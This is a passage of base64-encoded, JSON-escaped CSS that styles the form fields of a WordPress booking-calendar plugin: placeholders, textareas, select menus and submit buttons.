WluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZGF0ZXRpbWUtbG9jYWxdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZGF0ZXRpbWVdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZW1haWxdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9bW9udGhdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9bnVtYmVyXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXBhc3N3b3JkXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXJhbmdlXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXNlYXJjaF06Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10ZWxdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGV4dF06Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10aW1lXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXVybF06Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT13ZWVrXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBzZWxlY3Q6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gdGV4dGFyZWE6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1kYXRlXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGV0aW1lLWxvY2FsXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGV0aW1lXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWVtYWlsXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPW1vbnRoXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPW51bWJlcl06Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1wYXNzd29yZF06Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1yYW5nZV06Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1zZWFyY2hdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGVsXTo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXRleHRdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGltZV06Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT11cmxdOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9d2Vla106Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0Ojotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHRleHRhcmVhOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyIHtcclxuICBjb2xvcjogdmFyKC0td3BiY19mb3JtLWZpZWxkLXRleHQtY29sb3IpO1xyXG4gIG9wYWNpdHk6IC41O1xyXG4gIHBvaW50ZXItZXZlbnRzOiBub25lXHJcbn1cclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGVdOjotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZGF0ZXRpbWUtbG9jYWxdOjotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZGF0ZXRpbWVdOjotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZW1haWxdOjotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9bW9udGhdOjotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9bnVtYmVyXTo6LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXBhc3N3b3JkXTo6LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXJhbmdlXTo6LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXNlYXJjaF06Oi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10ZWxdOjotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGV4dF06Oi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10aW1lXTo6LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXVybF06Oi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT13ZWVrXTo6LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBzZWxlY3Q6Oi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gdGV4dGFyZWE6Oi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1kYXRlXTo6LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGV0aW1lLWxvY2FsXTo6LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGV0aW1lXTo6LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWVtYWlsXTo6LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPW1vbnRoXTo6LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPW51bWJlcl06Oi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1wYXNzd29yZF06Oi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1yYW5nZV06Oi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1zZWFyY2hdOjotbW96LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGVsXTo6LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXRleHRdOjotbW96LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGltZV06Oi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT11cmxdOjotbW96LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9d2Vla106Oi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0OjotbW96LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHRleHRhcmVhOjotbW96LXBsYWNlaG9sZGVyIHtcclxuICBjb2xvcjogdmFyKC0td3BiY19mb3JtLWZpZWxkLXRleHQtY29sb3IpO1xyXG4gIG9wYWNpdHk6IC41O1xyXG4gIHBvaW50ZXItZXZlbnRzOiBub25lXHJcbn1cclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGVdOi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1kYXRldGltZS1sb2NhbF06LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGV0aW1lXTotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZW1haWxdOi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1tb250aF06LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPW51bWJlcl06LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXBhc3N3b3JkXTotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9cmFuZ2VdOi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1zZWFyY2hdOi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10ZWxdOi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10ZXh0XTotbW96LXBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGltZV06LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXVybF06LW1vei1wbGFjZWhvbGRlcixcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXdlZWtdOi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0Oi1tb3otcGxhY2Vob2xkZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gdGV4dGFyZWE6LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGVdOi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1kYXRldGltZS1sb2NhbF06LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWRhdGV0aW1lXTotbW96LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9ZW1haWxdOi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1tb250aF06LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPW51bWJlcl06LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXBhc3N3b3JkXTotbW96LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9cmFuZ2VdOi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1zZWFyY2hdOi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10ZWxdOi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT10ZXh0XTotbW96LXBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9dGltZV06LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXVybF06LW1vei1wbGFjZWhvbGRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXdlZWtdOi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0Oi1tb3otcGxhY2Vob2xkZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gdGV4dGFyZWE6LW1vei1wbGFjZWhvbGRlciB7XHJcbiAgY29sb3I6IHZhcigtLXdwYmNfZm9ybS1maWVsZC10ZXh0LWNvbG9yKTtcclxuICBvcGFjaXR5OiAuNTtcclxuICBwb2ludGVyLWV2ZW50czogbm9uZVxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gdGV4dGFyZWEsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gdGV4dGFyZWEge1xyXG4gIHdpZHRoOiAxMDAlO1xyXG4gIGxpbmUtaGVpZ2h0OiAxLjM7XHJcbiAgbWluLWhlaWdodDogdmFyKC0td3BiY19mb3JtLWZpZWxkLXNpemUtaW5wdXQtaGVpZ2h0KTtcclxuICBwYWRkaW5nOiB2YXIoLS13cGJjX2Zvcm0tZmllbGQtc2l6ZS1wYWRkaW5nLWgpO1xyXG4gIHJlc2l6ZTogdmVydGljYWxcclxufVxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0LFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdCxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dCxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBzZWxlY3Qge1xyXG4gIGhlaWdodDogdmFyKC0td3BiY19mb3JtLWZpZWxkLXNpemUtaW5wdXQtaGVpZ2h0KVxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0LFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdCB7XHJcbiAgYXBwZWFyYW5jZTogbm9uZTtcclxuICBkaXNwbGF5OiBibG9jaztcclxuICBtYXgtd2lkdGg6IDEwMCU7XHJcbiAgd2lkdGg6IDEwMCU7XHJcbiAgdGV4dC10cmFuc2Zvcm06IG5vbmU7XHJcbiAgdGV4dC1zaGFkb3c6IG5vbmU7XHJcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcclxuICBsaW5lLWhlaWdodDogdW5zZXQ7XHJcbiAgcGFkZGluZy1ibG9jazogMDtcclxuICBwYWRkaW5nLWlubGluZS1lbmQ6IDI0cHg7XHJcbiAgcGFkZGluZy1pbmxpbmUtc3RhcnQ6IDEycHg7XHJcbiAgbWluLWhlaWdodDogdmFyKC0td3BiY19mb3JtLWZpZWxkLXNpemUtaW5wdXQtaGVpZ2h0KTtcclxuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xyXG4gIGN1cnNvcjogcG9pbnRlclxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0LFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdDpkaXNhYmxlZCxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBzZWxlY3QsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0OmRpc2FibGVkIHtcclxuICBiYWNrZ3JvdW5kLWltYWdlOiB2YXIoLS13cGJjX2Zvcm0tc2VsZWN0LWJnLWltZyksbm9uZTtcclxuICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xyXG4gIGJhY2tncm91bmQtcG9zaXRpb246IGNhbGMoMTAwJSAtIDExcHgpIDUwJSxjYWxjKDEwMCUgLSAxMnB4KSA1MCU7XHJcbiAgYmFja2dyb3VuZC1zaXplOiAxNnB4IDEycHhcclxufVxyXG4ucnRsIC53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0LFxyXG4ucnRsIC53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0OmRpc2FibGVkLFxyXG4ucnRsIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0LFxyXG4ucnRsIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0OmRpc2FibGVkIHtcclxuICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiAxMnB4IDUwJSwxN3B4IDUwJVxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0ID4gb3B0aW9uLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdCA+IG9wdGlvbiB7XHJcbiAgY29sb3I6IHZhcigtLXdwYmNfZm9ybS1maWVsZC10ZXh0LWNvbG9yKVxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0ID4gb3B0aW9uLnBsYWNlaG9sZGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdCA+IG9wdGlvbltkaXNhYmxlZF0sXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0ID4gb3B0aW9uLnBsYWNlaG9sZGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdCA+IG9wdGlvbltkaXNhYmxlZF0ge1xyXG4gIGNvbG9yOiB2YXIoLS13cGJjX2Zvcm0tZmllbGQtZGlzYWJsZWQtY29sb3IpO1xyXG4gIG9wYWNpdHk6IC41XHJcbn1cclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBzZWxlY3Q6bm90KFttdWx0aXBsZV0pID4gb3B0aW9uLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdDpub3QoW211bHRpcGxlXSkgPiBvcHRpb24ge1xyXG4gIGJhY2tncm91bmQ6IHZhcigtLXdwYmNfZm9ybS1maWVsZC1tZW51LWNvbG9yKVxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0Om5vdChbbXVsdGlwbGVdKSA+IG9wdGlvbjpub3QoLnBsYWNlaG9sZGVyKTpjaGVja2VkLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdDpub3QoW211bHRpcGxlXSkgPiBvcHRpb246bm90KC5wbGFjZWhvbGRlcik6Y2hlY2tlZCB7XHJcbiAgZm9udC13ZWlnaHQ6IDcwMFxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gc2VsZWN0W211bHRpcGxlXSxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBzZWxlY3RbbXVsdGlwbGVdIHtcclxuICBoZWlnaHQ6IGF1dG87XHJcbiAgb3ZlcmZsb3cteTogc2Nyb2xsO1xyXG4gIGJhY2tncm91bmQtaW1hZ2U6IG5vbmVcclxufVxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIHNlbGVjdFttdWx0aXBsZV0gPiBvcHRpb246bm90KC5wbGFjZWhvbGRlcik6Y2hlY2tlZCxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBzZWxlY3RbbXVsdGlwbGVdID4gb3B0aW9uOm5vdCgucGxhY2Vob2xkZXIpOmNoZWNrZWQge1xyXG4gIGJhY2tncm91bmQ6IHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvcik7XHJcbiAgY29sb3I6IHZhcigtLXdwYmNfZm9ybS1idXR0b24tdGV4dC1jb2xvci1hbHQsdmFyKC0td3BiY19mb3JtLWJ1dHRvbi10ZXh0LWNvbG9yKSlcclxufVxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9bnVtYmVyXTpyZWFkLW9ubHksXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1udW1iZXJdOnJlYWQtb25seSB7XHJcbiAgYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xyXG4gIC1tb3otYXBwZWFyYW5jZTogdGV4dGZpZWxkO1xyXG4gIC13ZWJraXQtYXBwZWFyYW5jZTogdGV4dGZpZWxkXHJcbn1cclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPW51bWJlcl06cmVhZC1vbmx5Ojotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9bnVtYmVyXTpyZWFkLW9ubHk6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xyXG4gIHZpc2liaWxpdHk6IGhpZGRlblxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gYnV0dG9uW3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KSxcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCksXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gYnV0dG9uW3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KSxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCkge1xyXG4gIGhlaWdodDogdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1zaXplLWhlaWdodCk7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yLWFsdCx2YXIoLS13cGJjX2Zvcm0tYnV0dG9uLWJhY2tncm91bmQtY29sb3IpKTtcclxuICBib3JkZXItcmFkaXVzOiB2YXIoLS13cGJjX2Zvcm0tYnV0dG9uLWJvcmRlci1yYWRpdXMpO1xyXG4gIGJvcmRlci1zdHlsZTogdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1ib3JkZXItc3R5bGUpO1xyXG4gIGJvcmRlci1jb2xvcjogdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1ib3JkZXItY29sb3IpO1xyXG4gIGJvcmRlci13aWR0aDogdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1ib3JkZXItc2l6ZSk7XHJcbiAgYm94LXNoYWRvdzogbm9uZTtcclxuICBjb2xvcjogdmFyKC0td3BiY19mb3JtLWJ1dHRvbi10ZXh0LWNvbG9yKTtcclxuICBwYWRkaW5nOiAwIHZhcigtLXdwYmNfZm9ybS1idXR0b24tc2l6ZS1wYWRkaW5nLWgpO1xyXG4gIGZvbnQtZmFtaWx5OiBpbmhlcml0O1xyXG4gIGZvbnQtd2VpZ2h0OiA1MDA7XHJcbiAgZm9udC1zaXplOiB2YXIoLS13cGJjX2Zvcm0tYnV0dG9u